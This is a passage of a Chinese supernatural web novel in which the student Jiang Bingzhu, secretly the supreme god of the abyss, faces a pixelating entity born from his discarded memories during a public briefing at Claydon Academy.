秘书想着,以他在克莱登学院任职这些年的经验,几乎能看得见江秉烛的下场。 副校长骤然被他打断,神色已经变得不愉快起来。而那些A班的学生更是从座位上站了起来,凝重地看向门口——秘书从未在这群学生身上,见过如此严肃的神情。 不过也可以理解,毕竟他们正在和副校长商谈的,一定是很重要的事情,远超他们和江秉烛之间建立的那些表面友情。 这样看来,江秉烛说不定比自己想象的还惨呢 眼看着以赵一清为首的A班学生气势汹汹地冲向门口,秘书都觉得自己要真的同情起江秉烛了。 但出乎意料的是,黎双白把江秉烛往自己身后拉了拉,其余几名学生的脸上虽然闪过了一抹难以言表的神情,但是并没有做出任何不赞成的举动。 他们反而越过了江秉烛,径直往……自己的方向走来。 这是什么发展? 秘书十分迷茫。 不过,这份疑惑并未持续太久。 因为A班的学生们已经走到了他的面前。 “把你的话收回去,向我们班的同学道歉,”时家逸开门见山地说,“既然这次商谈请得是我们A班,他就有来的权利。你不该拦住他,也不该说那些莫名其妙的话。” 秘书:“……?” 他千想萬想也算不到,他们竟然是冲着自己来的。只因为自己阴阳怪气江秉烛的那几句话? 江秉烛在他们心里,地位这么高吗? 虽然不解,但在A班学生那种杀过许多只诡异生物的肃杀气势之下,秘书不由自主地往后退了几步。 他没有注意到,那几名学生额角沁出的细密的汗珠,和提到江秉烛时微微有些颤抖的声线。 放在几天之前,如果他们听见有人阴阳怪气小江,他们不仅要站出来,还要当面反驳。出身怎么了?实力怎么了?小江是他们同生共死的朋友,他就是A班的一员! 可是现在…… A班学生一边讓秘书道歉,一边调动自己的一切感官,一絲不敢懈怠地注意着背后那道漫不经心的目光。 A班:“……” 时隔数月,他们又感受到了一种世界的存亡正肩负在自己身上的感觉。 ——一旦身后的这位存在因为刚刚的事情感到不悦了。 整个世界都会完蛋的吧! 第80章 身后那道目光忽然转过来, 在他们身上停留了几秒。 那个瞬间,A班知情的学生们整个儿僵在原地,手臂上寒毛直竖, 脑子里一片空白, 刚才在心里演练过无数遍的台词被忘得一干二净。 副校长和他的秘书看见他们突然失语,反而产生了一丝惶恐——就他们所知,A班的学生都是很厉害的异能者, 可他们并未亲眼见过这些学生动手, 不知道这是不是某种危险的前奏。 A班学生脸上一点儿表情也不剩, 大脑亂成一团,无数个简短的信息飞速闪过。 江秉燭看过来了。 祂……不满意了吗? 这个信息太可怕了。 平心而论,在之前的接触中,江秉燭看起来都總是很平静的,偶尔流露出的一些情绪,大部分也是关于他的鱼——如果那些恐怖的东西真的能被称为鱼。 但仅仅这点并不能让A班学生放下心来。 他们没有明确的沟通过这件事,但知情的几个人也曾经一起聚在克萊登学院的花园里,面对面沉默地坐着。 几场秋雨之后, 天气已经冷下来了。葱茏的树叶凋零,整座花园显得寂寥了很多。 A班学生相对无言的时候,眼睛扫着地面。他们看见成群结队的蚂蟻搬运着一些落地的果子、腐烂昆蟲的尸体, 为它们的巢穴储备更多食物。 有几只蚂蟻大概忙晕了头, 很不长眼,把金祈安的球鞋当成了某种果子,在他腳邊来回来去的徘徊。 蚂蟻那么小, 距离又那么近, 金祈安只要抬腳往下碾一下, 它们这辈子就结束了。 当然, 金祈安没有动,他正为詭异和那位至高无上的詭异存在而心烦意亂,如履薄冰,蚂蚁这种小昆蟲在他眼里,实在没办法引起注意——就算咬他一口,他也不会恼羞成怒,恶狠狠抬脚把它们踩死。 但他或许无意中也踩死过不少蚂蚁,金祈安漫无目的地想。 毕竟,人走路的时候,又注意不到脚下那些小小的虫子。 等等! 金祈安忽然一个激灵,感覺自己明白了些什么。 他脑子里浮现出江秉燭那張好看得不真实的脸,狠狠打了个哆嗦。他抬起头,视线恰巧和其余几名A班学生交汇,他们看着那些忙碌的蚂蚁,都想到了一样的事情。 “我们需要一个行动准则,”赵一清深吸一口气,说,“提升我们的、这个世界的存活概率。” “首先,最重要的是,不能挡祂的路。” “尽量远离祂的目标,不被卷进更复杂的纷争。” A班学生一个一个开口补充着。 “展示出足够的尊重,不要让任何人、任何事,引起祂的不快……” 一般情况下,人类是不会被一只晕头转向的小蚂蚁激怒的。可谁也不能保证,在他们心情不好,或是闲得无聊的时候,一只撞在枪口上的蚂蚁会不会一命呜呼。 但總没有人想因为“运气不好”这么荒谬的原因让整个世界完蛋。 A班学生以相当谜语人的方式制定好了他们的行动准则,并決定在接下来的时间里尽心实施,尽量让这个世界面对的来自至高神明的风险降至最低。 他们那天商量完,天已经彻底黑了。 金祈安活动了一下坐得发麻的腿,站起身时,不经意看了眼地面。 ——他发现,有只小小的蚂蚁,差点死在他的脚下。 金祈安的思绪回笼,背后又是一身冷汗。 他最近冷汗频繁的程度已经多到他的父母担心他身体出现异样,给他约好了医生的程度。 金祈安真心实意地认为自己需要。而在那之前,他需要更多速效救心丸。 好在那个莫名其妙开嘲讽的副校长给江秉燭道了歉,而祂的视线只在那家夥身上停留了不到一秒就收回去了。 A班学生:“好险,又多活了几个小时。” 江秉烛径直走到教室后排,拉开黎双白旁邊的椅子坐下。 到现在,他的鱼找得差不多了,答应给他养鱼的人会一直陪在他身边,深渊的新鱼池也要装饰完成,其实可以收回人类位面这里的意识了。 但是……他覺得自己还能有点额外的收获。 能让他这一趟,获得一条比其它十五条鱼更漂亮、更好养活的鱼。 江秉烛为此多等了几天,他的耐心本来应該很快耗尽。但周夜闌是个品位不错的家夥,不论是对建筑的审美还是对食物的,都和蹲在后室的大领主形成了两个极端。 他想着,手机震动了几下。 骗子:[图片][图片][图片] 发过来的,是几張色泽金黄,焦香酥脆的烤鱼照片。几条不同品种、不同口味的烤鱼被人细心切好,摆在一起,竟然堆出了一个有点神圣意味的火焰花纹。配上鱼身金黄的色泽,远远看上去,像是个燃烧的火焰图腾。 骗子:[今天想吃这个吗?] 江秉烛扫了那个花纹两眼。 除了鱼之外,他没什么太鲜明的喜好,但他对金灿灿的东西确实好感不多。可能因为它总是象征着初代的光与火之神,而那个傲慢的家伙对金色情有独钟。祂的手下站在太阳底下,像一列反光镜,到了晚上,又像一排路边电灯泡,外面贴着很多飞蛾和蚊子的那种。 不过做成烤鱼之后,看着还挺顺眼的嘛。 果然,鱼是这个世界上最有趣的生物。 江秉烛动了动手指,发过去一个挥触手的小章鱼表情。 烛:[你去给我炒俩菜.jpg] 对面的消息回得很快,发了个正在颠勺的……金鱼表情包。 黎双白坐得离他近,余光无意中就瞟到了小江同学和周顧问的对话框,还有周顧问发的那只辛勤炒菜的鱼表情包。 黎双白:“……?” 周夜闌那种人,每天穿得像是隨时隨地都在走秀,从头到脚没有露出过半点烟火气,竟然还会用表情包?还是这么小众,不知道有没有人会P的图。 好怪。 倒是江秉烛慢悠悠地存了,然后在他的表情包库存里划拉了两下,又发了个小章鱼伸手握勺子的图过去。 烛:[我再吃一口.jpg] 在黎双白的印象里,小江发消息一般只会打字,内容还很简洁,也不知道什么时候就多了这么多图。 但他用还挺可爱的。 小江总是干什么都可可爱爱的。 黎双白感慨了一下,却没忘自己的正事——他是来提醒江秉烛的。 在那些从神一个个降临,詭气复苏后,来自至高神殿的大人们慷慨地帮助了他们,解決了许多对目前人类来说棘手的詭异事件。同时,也顺便看了看几起近期发生的大型诡异事件。 那些事件乍一看,都是试图复苏旧神的从神们从中作梗。 可将它们梳理在一起后,神殿的高位存在们却发现了一丝不对。 ——能量的流动,发生了微妙的变化。 那些从神死后,属于祂们的诡气本来应該在天地间逸散,但每一次,都有一点不易察觉的诡气顺着某种指引,流向特定的方向。 它们的行动路径将整座京城和与它相接壤的人类世界的其余许多座城市串联在一起,就像是某个盛大的魔法阵,把整个世界笼罩其中。 关于它的功效,神殿负责处理相关事件的高位存在未曾言明,只是传达了从神大人们的旨意,叫他们不必惊慌。 他们当然相信神殿,但……事关重大,就算理智上清楚自己的担心没有用,黎双白还是忍不住多想。 不止是他,总是跟在周顾问身边的陆景明、还有出身神殿的费尔南多都有着类似的想法。今天晚些时候,他们就该赶来第二城了。 至高神殿的一些人手也会跟来,向第二城中枢局的异能者们传授一些经验。 在至高神登临神位后,诡异世界的生存状态已经和原来大不相同。 长远来看,度过了前面最混乱的时期,人类普遍掌握了诡气的应用,对这个位面来说,也能出现许多积极的发展。 几方经过商议,最终决定借用克萊登学院豪华无比的舞台和各类设备,在晚上八点向第二城的居民正式发布第一版诡气时代生活指南。 这件事宜早不宜迟,他们敲定时间地点后,便都在为此做出准备。 A班学生因为刚从京城回来的缘故,是其中一个环节里的重要发言人,他们虽然各自担心着截然不同的事情,但为了晚上六点的公众演讲,仍然费了不少心思。 不过这些都跟江秉烛没什么关系。 他抱着之前从大领主家领回来的诡狼,在学校里不紧不慢地遛狗……不,溜狼,时不时从周夜阑那里薅几个新的表情包,尝一尝周大厨的秘制烤鱼,打发时间打发得相当愉快,到八点的时候,心满意足地坐在克莱登学院的礼堂下面。 礼堂的其它观众或是紧张、或是期待,连镜头之外的人们都感觉自己的心跳随着时间一点点加快。 只有一位黑发的少年坐在礼堂前排,他腿上蹲着只毛茸茸的胖狗,手里抱着一个挺精致的的鱼缸。 少年全神贯注地盯着他的那几条鱼,对于外界越发紧张的氛围无动于衷。 像是一个世界末日来临了,都毫无所觉的路人。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-84 第81章 在緊張严肃的氛围中, 这么一名坐在前排的、安静的学生便格外显眼。 黑发少年的面容实在是太有记忆点了,许多人一眼便认出了江秉烛。 大约是因为他的气质过于独特,透过屏幕看着他时, 观眾们连原本的緊張与忐忑都淡去了, 莫名地感受到一种……无聊。 他们似乎應该期待些什么,但又并没有足夠的耐心,所以格外感到无聊。 可在这个节骨眼上, 他们怎么会覺得无聊呢! 这太荒唐了。 观眾们发自内心地想着, 原本的紧张变成了焦躁和不解。他们没有办法真正平静下来, 也没有办法从江秉烛身上移开目光。 几乎是同一时间,所有人都开始讨论同一件事、同一个人,仿佛这能让他们转移一下注意力,稍微放松一点似的。 [这不是上次那个演技超级好的帅哥嗎!原来私底下是这么情绪稳定的嗎,反差好大。] [这种时候了还能这么淡定,果然除了颜值,他的实力绝对也深不可测吧!] [我记得京城那边有过新闻,小江只是普通異能者吧, 他有很多厉害的朋友倒是真的……] 他们的讨论还没结束,就有人走了过来,驾轻就熟的在江秉烛边上坐下。 来者是位一脸正气凛然的红发骑士, 正是几天不见的費尔南多。 江秉烛轻轻同他打了声招呼, 从座位旁边拿出一罐周顾问特别烤制小鱼干,朝費尔南多晃了晃:“吃吗?” 不得不说,費尔南多在美食品鉴上很有一套, 并且尤其会夸。 但这一次, 红发骑士凝重地摆了摆手:“谢谢你的好意, 小江, 可现在不是时候。” 费尔南多之所以会到这里,是因为神殿发布下来的任务。他们都知道在这个人类位面,可能会有更強大的诡異降临——至少也是从神层次的。 也许正是祂的存在,加深了人类位面与诡異位面的联系,才导致近期各种事件频繁的发生。 活得夠长的异能者们都很清楚,世界上不会有纯粹的巧合。 这个人类的位面诡气如此稀薄,引来的存在却偏偏一个比一个恐怖…… 这背后一定有着特别的原因。 但那具体是什么,费尔南多想不出来。不止如此,他还及时地止住了自己的思绪,以免触及到任何不该触及到的密辛。 他深吸一口气,全神贯注地投入在自己的任务上。 ——他是名骑士,要做的,当然是保护普通人的安全。 神殿从蛛丝馬迹中预知了未知存在出现的風险,可祂究竟会在什么时间、什么地点现身,都是个未知数。 费尔南多的神经紧绷着,在绝对的力量面前,他清楚自己能做得十分有限,所以他必须全力以赴,不能有一丝懈怠。 江秉烛轻轻叹了口气。 好吧。 暂时失去了共同品鉴美食的搭子,他有点可惜,默默拎出一條小鱼干,扔进嘴里嚼了嚼。 随着时间一分一秒过去,距离六点越来越近,礼堂中的氛围越来越肃穆,近乎要凝成实体。属于观众们的心声在这座礼堂中回荡着,江秉烛不需任何额外的关注,便将它们读了个彻底。 恐惧和迷茫,实在是生物身上最常出现的几种情绪。就连他曾经的对手,那些一度高高在上的神明们在将死之际,也无一能免去这样的状态。 江秉烛不知道祂们是不是因为享受久了信徒的供奉,于是在性格上,变得越来越接近人类起来。 但这情绪千篇一律、如出一辙,很容易让人覺得无聊。 他喜欢更新一点的乐子。 江秉烛想着,抬起眼看向礼堂正中。深红色的幕布垂落在整座舞台之前,遮住了一切尚未到来的事物。 就像费尔南多他们所想的那样,不论在哪一个位面,都不会有单纯的巧合接二连三的发生。 而这一切可以追溯的时间,比他们预想的还要久远。 早在深渊中突然出现缝隙、吞走他的一池金鱼之前、早在祂与阑選择在这个位面布置自己的复活后手之前、早在先知从弑神的计划中幸存,在这个位面蛰伏之前…… 藏在幕后的那个家伙就已然存在。 江秉烛与祂隔着数十年的光阴,曾经打过照面。 手機屏幕亮了亮,数十條来自陌生发件人的消息疯了一样冲进江秉烛的短信与邮箱。 每一条消息都比之前那一条更长、比前一条的言辞更恳切,根本没有人能想到,这些信息竟然会出自京城的不可一世的江家人之手。 [秉烛,我们應该谈谈!之前没能认清你的天赋,是我们的疏忽,但我们会倾尽全力弥补你的。江家的一切资源都会为你所用,现在京城局势动荡,空了很多位子出来,只要我们及时出击,原来的那些家族有多風光,我们江家就会比他们风光百倍!] [我们受人蛊惑,没来得及好好对你。但父母亲知道,血浓于水,我们总还是一家人的!我们都清楚的,你就像预言里说的那样,是我们江家、是整个京城最优秀的孩子!只要你愿意,我们现在就公布……] 克莱登学院的围墙之外,江家三人狼狈地站在那里,一边编辑着消息,一边不停地往学院里探头。 学院附近安插的异能者每次巡逻到附近时,他们还要往靠近树丛的地方退上几步,免得被人发现。 要是放在两个月前,他们怎么也想不到,他们随意安置一个不受重視的小儿子的地方,竟然会将他们这样的权贵拒之门外。 不到一周前,江亦宁的一口黑锅扣在他们头上,江家三人还没来得及反驳,就被中枢局以“谋害皇权、危害京城”的罪名关押了起来。 所幸在温泉山庄发生变故时,他们找准機会,从一片动荡的京城中逃了出来。因为从神们的袭击,京城那些家族所倚仗的高手们们死得死、伤的伤,所有地方都乱成一團,并没有分出太多人手追捕他们。 在逃跑过程中,江家三人得知了京城发生的可怕变故,在庆幸自己活下来的同时,也在其中看见了機遇。 但机遇不是随便一个人都能把握的,在当下,他们需要比自己更強大的、能够压制住京城其他人、令他们不敢有异议的异能者。 刚好,他们已经见过一位。 而那恰恰是他们江家真正的二少爷。 还有什么,比一位强者和他们血脉相连这件事,更让人欣喜的呢? 如果有,那就是他年纪尚轻,见识尚浅,比什么神出鬼没的周顾问、诡异世界而来的神選者更好接近、更好拉拢。 尽管,他现在还没有回复他们的消息。 严清嘉仍然在手机上编辑着真切的词句,江盛则与江知衍对着手机屏幕,透过直播,看着坐在礼堂中的江秉烛,希冀从他身上,看见一些对于未读消息的反应。 他们看得见江秉烛手边的手机屏幕反复亮起。 但自始至终,少年未曾低头。 他那苍白而修长的手指只是不经意地划过屏幕,在“预言”两个字上,短暂地停留了一下。 “咔哒”。 时针终于指向六点。 深红的帷幕升起,克莱登学院的校长从幕后走了出来,郑重地向所有人颔首致意。 他清了清嗓子,站在台前,对着麦克风正要开口。 然而,一阵电流声盖住了他原本的声音。 “滋、滋滋——” 校长皱了皱眉。 他伸手拍了一下麦克风,那个恼人的声音停下了。 校长暗自松了口气,刚要继续,忽然间发现,台下观众的眼神变得很不对劲,一个个僵在了座位上,仿佛看见了什么极可怕的东西。 这里有什么危险,是他尚未察觉到的吗…… 校长想着,下意识转动眼珠。 視线变换的时候,他无意中扫到演讲台前,一團一团不断闪动的肉色的馬赛克。 马赛克往上一点,一排老式电视机屏幕中常常出现的黑白相间的雪花点跃动着,渐渐勾勒出一个袖口的形状。 乍一看,有点像他今天穿的那件名贵的西装。 我一定是眼花了,校长喃喃地说。可话音落下,他没有听见自己的声音。 “滋滋、滋滋——” 一阵更尖锐的、刺耳的电流声,在整个礼堂响彻。 随之而来的,是观众席中压抑不住的、绝望的尖叫。 第82章 詭异出现了。 祂来得毫无声息, 比所有人预想中的都要突然。 只是一个眨眼的功夫,剛才还好端端站在台上的校长就由人變成了一团马賽克。组成他身体的一块块像素点接连剥落,短短几分钟, 曾经的整个人形物体分崩离析。 “滋、滋滋……” 整座礼堂中, 不歇地回蕩着杂乱无章的電子音。 挤在礼堂最前排坐着的,大都是克萊登学院的院长、副院长……那些有着各式各样高级头衔的人这下根本維持不住他们贵族式的风度。 校长變成的马賽克已经流了一地,几片肉色的像素块落在脚边, 仍然在不停闪烁着。他们尖叫着, 争先恐后地站起来, 往后排安全些的地方跑。但还没有跑出多远,他们的腿和脚也變成了一片不停抖动的像素点,整个人猛地跌落在地上。 像素化在他们的身上蔓延,那个速度称不上快,但眼睁睁看着自己的身体變成一个个小的像素点散掉,无疑是种更恐怖的折磨。 礼堂中彻底乱了套。 异能者们試图維护秩序,但开口吐出的却不是声音,而是许多个“口口”一样方方正正的黑色字符块。 没有人预想过詭异会在这里、以这样的方式降臨。祂连实体都没有露出来, 就这样轻而易举地,以概念化的方式轻易抹杀了许多人。 他们连敌人是谁、在哪里都不知道,更没有办法同祂对抗。 这场本该公布信息、告诉普通人應对詭异的方法的发布会, 此时此刻已经完完全全变成了詭异肆虐的剧场。 遭到像素化的, 不只是前排的宾客,后面也有许多人身上,出现了不详的马赛克——这根本毫无规律可言! 随着像素化的蔓延, 一开始那些惊惧的尖叫已经被大小不一的黑色方块取代了。它们堆积在地上, 完全淹没了克萊登学院精心布置过, 干净得一尘不染的礼堂。 人们无声地瞪大眼睛, 互相推搡着、争抢着,跑向礼堂的大门——此时此刻,他们眼中唯一的生路。 只有“滋滋”的電子音在上空回蕩着,像是一个不会散去的阴魂。 费爾南多站在观众席边,手里握着他的大剑。可是此时此刻,他的剑锋却指着地面,因为这里没有敌人的踪影,他也根本找不到任何可以对抗的东西,只能調动所有异能,勉强在自己周身筑起防线,抵御像素化的侵蚀。 在那荒诞不经、毫无头绪的死寂中,他的目光扫过身畔的少年。 江秉燭是整个礼堂中,唯一一个仍旧坐在原地的——他微仰着头,看向虚空,姿态和平常发呆时有些相像,但在此时,那張俊美得有些不似人类的脸上终于展露出一种和往日不尽相同的情绪。 费爾南多来不及注意他的神态,只是听见他低语了一句。 “太吵了。” 头顶的“滋滋”声應景地响着,几乎是在回应他的抱怨。 ……太吵了? 费尔南多脑子里一团乱麻,在这一刻却好像抓住了些什么。他的眼神一顿,凝聚自己全部的异能喊:“是声音!” 在一片混乱中,他提高声音在吼:“切掉直播——” “诡异通过听觉进行污染!” “所有人捂住耳朵!” 异能者们最先反应了过来,立刻按照他说的去做,避免这场突如其来的诡异蔓延到更多地方去。 但是事情比他想得糟糕多了。 那道诡异的“滋滋”声并不用依靠直播,就已经传出了很远,覆盖了整个位面。 克莱登学院墙外,手機“啪”的一声砸进土里,严清嘉看着自己曾经引以为傲的长子,难以置信地向后退。 “阿、阿衍,你的手……” 她的话语没能出口,也变成了一个个黑色字符块,砸在地上。 不止是江知衍,她和江盛身上也各自出现了像素化的部分,并且速度很快,比直播中的那些还要更快。 手機里依然响着“滋滋”的声音,那陣可怕的嗡鸣几乎从礼堂里跑了出来,在整个第二城……不,或许是整个世界的范围里出现了! 人类在变成马赛克,克莱登学院斥资百亿建造的豪华的亭台楼阁在变成马赛克、街道在变成马赛克…… 比起在温泉山庄从神们出现的时候,这无疑更像真正的诡异降臨。 在这一刻,所有人脑子里,突兀地被塞入了一条信息。他们甚至没反应过来,就自动理解了其中的含义。 他们正在面临的,不是所谓的诡异降临,而是一位神明的降临! 但在真正的神降之前,祂要先审判人类的罪行。 第一重,是“傲慢”。 而江家三人得到的罪名是——“不敬神明”。 这四个突然出现在脑子里的字眼,顿时将他们推上恐慌的顶点。 神明? 他们什么时候不敬过神明? 就算这个位面没有真正意义上的神明,江家人自诩谨慎,在面对任何一个比自己更强大的、任何一个能称得上信仰的存在时,都不曾口出狂言,甚至见到了都要拜一拜的,怎么可能不敬! 哪怕再借一百个胆子,他们也不敢做出这样的事。 可江家三人比别人更快的像素化速度,已经在此时说明了一切。 “不、不是这样的!” 他们想不出自己什么时候做出过不敬的行为,只能慌乱的拼命在心底試图辩解。 江家人未尽的言语化作黑色的字符块落在地上,整座克莱登学院之外,没有一点人声。 忽然。 一个带着点調笑意味的声音,在他们的脑海中响起。 “你们的记性,怎么比那家伙还差?” 这音色没来由地让江家三人觉得耳熟。 这一刻,他们心里最先冒出来的,竟然是江秉燭的名字。 可那声音像是在笑着的,轻佻、高傲,而又有点不屑。江秉燭情绪稳定得不像个活人,在他身上,他们从来不曾听到过类似的语气。 在他们的印象里,江秉烛也不会有这么多话。 但江秉烛的声音,怎么会在这样关键的时刻,出现在他们的脑子里? 他们遇到什么了?这会是个什么存在!!! 就像是回应着江家三人的念头一样,他们眼前的空气突然出现了细微的扭曲。 不到一瞬间,便有一道修长的人影凭空出现。 黑色的长发如鸦羽般垂落,猩红色的眼瞳弯出漂亮的弧度。来人凌空而立,居高临下地打量着江家三人,轻轻翘起嘴角。 他没有说话,但是整个位面的诡气都像疯了一样,像这个修长的人形涌去! 焮天铄地的诡气几乎在原地掀起一场风暴,而在翻涌动荡的空气中,江家三人面前的那个人的面容,变得无比清晰。 全然不同的神情、全然不同的气质。 可是,他……不,祂。 有一張,他们再熟悉不过的脸。 “不要认错人了,”祂看穿了他们的窘迫,夸张地笑出声来。 “你们遇见的那个,才是真正的神明啊。” —— 什么是真正的神明,谁才是真正的神明,江家三人已经没有能力去理解。 恐惧在他们的血液流淌着,从大脑蔓延至四肢百骸。 他们才恍惚间想起,剛刚回家的时候,江秉烛的样貌似乎并不是这样。 只是他们一直不曾关注过,一直没有思考过。 就算再有能力,他们也从不认为,一个渔村来的孩子,可以凭借自己的力量真正做出什么。 可……如果祂不是呢? 如果祂的力量,强大到让整个世界俯首呢? 直到这一刻,江家人终于意识到,自己之前的见解有多么浅薄。 江秉烛一直以来的安静既不是因为懦弱,也并非出于平庸。只是因为,他们所追求的那些东西在祂看来如此渺小、如此无聊。 就像人类在看二维世界里小小的一粒像素点。 这就是人和神的差距。 即便眼前的存在声称自己并非真神,祂的面容,也绝非江家人所能直视的。 像素化还在继续,意识在消散……他们在迎接自己的末日,它比其它人类来得都早。 这样的结局其实有可能被逆转,因为他们曾经幸运地接触到过那位真实的、最强大的存在。 如果那时他们就意识到了这一点,如果他们对江秉烛谦卑友善,如果…… 可惜的是,这个世上没有如果。 —— 克莱登学院,礼堂。 从某一刻开始,所有人都感受到了那股席卷世界的诡气。 滔天的气浪下,他们的世界像是一层薄薄的纸,在狂风里无助地晃动着,随时都有可能被风暴撕裂,断作几层。 在这样的力量面前,不要说反抗了,他们就连逃跑的欲望都不剩多少——世界都要毁灭了,跑得再远,又有什么用呢? 很多人在绝望中跑向同伴,也有很多人摸向手机,想在最后的时刻拨打一通电话。 但世界震荡的幅度那样巨大,空中裂开一道又一道通向虚无的深邃的缝隙。 黑暗从那些缝隙中透过来,将空间分割成无数个破碎的区域。四周的温度骤然下降,那已经不能被称为冰冷,而是所有物质的熵趋近于零时,带来的一种死寂。 这是……深渊。 异能者们在心底喃喃道。 在他们听过的那些传说中,深渊的最深处,就是那些神明居住的地方。而在神战之后,那里成为了最恐怖的死寂之地。 “嗒、嗒。” 黑暗的深处,传来一陣脚步声。 那脚步很轻盈,一点听不出急切,似乎也没什么压迫感。 可每一声,都让在场的人类离死亡更近一步。 他们屏住呼吸,眼睛一下也不敢眨地盯着前方,不知道从那片黑暗中,会看见怎样可怖的存在。 但是,就在将要进入光照范围的前一刻,那阵脚步声停了下来。 远远地,他们看见一个人形的黑色影子以手扶胸,身体稍稍前躬,用花哨的姿态行了个礼。 然后,祂对着人群中的一个位置,热情地打了个招呼。 “很荣幸见到您,烛。” “或者说,尊敬的至高神大人。” 第83章 至高神。 这个稱呼对于人類而言并不陌生。 他们在这段短短的时间里, 已经无數次听说过祂的尊名,得知祂的事迹,知道祂是所有位面中, 最强的那位存在。 对于这位掌控整个深渊, 可以在一念之间决定整个位面生死的神明,人類畏惧有之、尊敬有之。或许因为近期与至高神信徒们的接触,他们也被潜移默化地影响着, 对至高神有一种莫名的信任。 哪怕神明的威能不可妄测, 知道祂的存在, 也讓所有人類不由自主地安下心来,在心中默默诵念祂的名号。 只是…… 至高神大人在哪里? 那个搅弄一切的人形黑影就站在礼堂里向神明行礼,至高神大人必然也在此处。 那么,祂…… 恐惧与焦灼中的人群静默了一会儿,对于至高存在的敬畏与此刻求生的本能讓他们不敢就此展开更多的探索,可人類那该死的好奇心又讓他们止不住地去猜想,所有位面中最强大的那位存在,应该是什么样子, 会以怎样的姿态登场,回应那个黑影的话语。 和刚刚接触至高神殿不久的人类比起来,費爾南多无疑知道得更多。但这些并没有让他在此刻比其他人少些疑惑。 他站在原先的座位旁, 只是十分鲜明地感受到, 那个极有压迫感的人形黑影所看着的,是一个离自己极近的方向。 不,不止是离他极近。 更准确的来说, 应该是…… 他的身邊。 費爾南多无法判断那个黑影的实力, 但他知道祂一定极为强悍。 仅仅是自那里投射而来的一道视线都太锐利、太有指向性了, 几乎成为了实体, 在祂所凝视着的地方蒙上一层阴翳。 而在那里……坐着江秉烛。 是的,坐着。 从礼堂中第一次出现異样,到后来整个世界都开始崩解。 江秉烛从没起过身。 他一直淡定的,毫无存在感地坐在那里,从始至终,只说过一句“太吵了”。 到现在,费尔南多才终于开始意识到,有什么事情不对劲。 从一开始就不对劲。 不管是那道黑影锁定着江秉烛的视线、还是在所有人都难以开口时江秉烛輕描淡写的那句话,或者追溯到更久以前——这名平平无奇的少年身邊总是出现许多詭異,但他面对詭異时永远淡定,永远毫发无伤。 就連在神殿的从神大人们面前做出不敬的举动时,他也没有受到过任何责罚,反而得到了许多有待。 这早就超出了性格和概率可以解释的范畴,费尔南多却不知为什么,从未往别的方面想过。 此时此刻,一个非常、非常恐怖的念头出现在费尔南多心里,甚至盖过了他对于那个黑色人影的本能的恐惧。 他这样想着的时候,江秉烛终于缓缓起身。 全场所有人的目光一起看向他,迷茫的、不解的,畏惧的。在那么多不同的情绪之下,少年的姿态依然从容,他扫了前方一眼,并没有反驳那个象征着至高的稱呼。 “我等了你很久呢。”他只是说。 他话音落下的瞬间,礼堂门口的那道人影向前迈了一步,走出了黑暗,祂的面容也因此暴露在光芒之下。 ——那是一張,和江秉烛一模一样的脸。 在看清那張脸的同时,一股剧痛在所有目击者的脑子里炸开,他们甚至没有机会去想任何事情,思绪就被古老的呓语紧紧缠绕。不到片刻的功夫,整个的身体仿佛都要連同意念一起,因直视里不可名状的存在而融化! 然后,江秉烛輕輕抬了抬手。 他的动作随意得像是拂去肩上的尘埃,但随着他的动作,目击者身上的那些不适奇迹般的消失了。 他们重新感知到自己的身体,身上的衣物早就被冷汗浸透,又在深渊无比冰冷的环境下凝成冰雪,贴在他们的皮肉上。 可他们压根没有功夫去抱怨环境的不适,他们只顾着将目光放回一个人的身上。 江秉烛的低马尾妥帖的披在肩上,额前微长的刘海遮住了他的大半神情。他的容貌比人类记忆中的更要旖丽俊美万分,早就到了难以用言语形容的程度。 江秉烛的身型在抽条,逐漸从单薄的少年變做一位青年。他的姿态依旧松散,只看站姿,没人会将这样美丽的青年和那些詭異存在联系到一起。 但就在这个位面裂开的缝隙中,數不清的能量正在向祂涌去。接近绝对零度的漆黑的深渊在祂的身畔绽开与众不同的顏色,金红的、银蓝的光芒闪耀着,最终在祂脚下托举起一片像是血液又像是火焰的深红,就像是一片领地在欢迎主人的归来。 ——深渊,这处所有位面之外的、最危险的、独属于神的领土,正向祂臣服。 那是真正的,至高的神明。 “你竟然帮了他们,这可真是……连我都感到意外。”一道声音打破了人群的寂静。 那个声音已经超出人类可以理解的范畴,只有江秉烛很平静地看向那张和他一模一样的面容。 “你自认为很了解我啊,”江秉烛说。 “当然如此,”和他完全一样的声音响起,“尊敬的至高神大人,我想,您应该很清楚我的由来了。” 江秉烛没有回答,但他确实不对此感到意外。 世界上没有十全十美的异能,他的能力虽然是权柄之外的独特存在,但也有一些小小的缺陷。 只要他想,他能解构并复製包括神明在内的任何存在的能力,但他所复製的,并不仅仅是权柄本身,而是与之相连的权柄主人的记忆与人生。 而他通过复制所掌握的权柄越深,所获得的权柄主人的记忆也就越多。 不论在哪个位面,正神们在被他杀死之前,大都有着不可数的漫长岁月,在那样的时间尺度下,连一万年都显得短暂。 对于江秉烛来说,记忆总是冗余的东西,别人的更是如此。 他习惯将一些不必要的割舍出去,就像屋子的主人定期清理自己的房间。 但那些大多出自正神的、沾染了他的气息的记忆有着强烈的不甘。因此,祂就和幽帝行宫中那些后妃的冤魂们相似,并没有輕易散去,而是在不为人知的角落,漸渐形成了一个新的存在。祂将自己成为“熄” 作为因不甘的执念而生的诡异,人类的位面是最适合祂生长的地方。 诡异生物生来情感淡薄而迟钝,哪怕烛与阑朝夕相处的时间早就超过了祂们各自为战的时日,也只在祂死去之后,才终于意识到自己的爱。 可人类与祂们不同。 这样短命的物种有着丰富的情感,有着数不清的执念。 生老病死、求不得、爱别离、怨憎会、五取蕴。 属于人类的苦痛让熄日益壮大,但对祂来说,强大还远远不够。 祂可以、也本当成为坐在至高神座上的那个存在。 幸运的是,祂的寿命没有尽头,而随着烛战胜一个又一个强大的对手,割去祂们的记忆,祂也在變得更强。 终于,祂觉得自己已经准备好了一切,通过通向深渊的那些时空裂隙,偷走了至高神的金鱼,给了祂一个不得不来到这里的理由。 祂将江秉烛带入一个又一个事先设计好的诡异的场景中。借由同源的力量与暗中的安排,熄让自己获得了与烛有机会相较的力量。 祂站在至高神明的面前,作为被剥离的记忆,带着死去众神的骄傲直面着江秉烛。 可和祂想得不一样的是,在最终的较量开始之前,那个家伙竟然……保护了一群渺小如蝼蚁般的人类。 祂连自己的记忆都切得毫不犹豫,竟然也有会保护的东西? “他们很有趣,”像是读懂了熄在想写什么,江秉烛抬起那双猩红的眼眸,轻轻笑了一下,竟然带了点赞许,“你也一样。” 他的话音尚未落下,身影已经消失在了原地。 